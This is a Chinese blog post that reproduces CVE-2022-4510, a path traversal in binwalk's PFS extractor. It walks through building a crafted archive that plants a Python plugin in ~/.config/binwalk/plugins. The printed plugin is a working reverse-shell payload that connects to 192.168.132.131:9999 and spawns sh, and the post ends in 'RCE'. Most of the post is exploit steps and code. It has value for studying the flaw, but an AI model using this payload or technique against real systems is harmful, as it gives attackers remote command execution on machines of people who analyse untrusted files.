前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >binwalk路径穿越CVE-2022-4510

binwalk路径穿越CVE-2022-4510

作者头像
yichen
发布2023-08-10 15:41:00
2590
发布2023-08-10 15:41:00
举报

前两天在玄武实验室的日推里看到的,复现一下

简介

在 binwalk 中有一个提取 PFS 文件的插件,一般在嵌入式设备中涉及这种文件格式,但是它在提取文件的时候,路径取的有问题,会导致路径穿越,把文件写到任意的地方

效果

配合 binwalk 可以在 ~/.config/binwalk/plugins 目录自定义插件运行的特性,通过路径穿越把 python 脚本写在这里,基本能执行任意的命令(毕竟 python 可以 os.system)

局限

因为不知道目标的目录结构,可能没法准确的放到那个目录,可以考虑其他利用方式,参考文章有提到

影响范围

2.1.2b 到 2.3.3

复现过程

在官方仓库的 release 界面找到一个在漏洞范围内的下载下来,比如 2.3.3,然后解压出来放在一台 ubuntu 上,进入目录,python setup.py install 安装一下,poc 这里有:

代码语言:javascript
复制
https://github.com/ReFirmLabs/binwalk/pull/617

在 ~ 目录下使用 binwalk -Me poc.zip 看一下是不是有效果

接下来看一下 POC 是怎么构成的,压缩包里面有个 pfs 文件

直接解压出来看看,前面是文件头加路径,后面是文件内容,经过尝试文件内容前面的 C1 就是文件内容长度

接下来保持前面不变,我们自己写个 python 脚本放在 PFS 文件中,并且把长度改一下,然后保存成一个压缩包

代码语言:javascript
复制
import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("192.168.132.131",9999))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        pty.spawn("sh")

binwalk -Me malicious.zip 然后 RCE!

参考:

代码语言:javascript
复制
https://github.com/ReFirmLabs/binwalk/pull/617
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-02-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档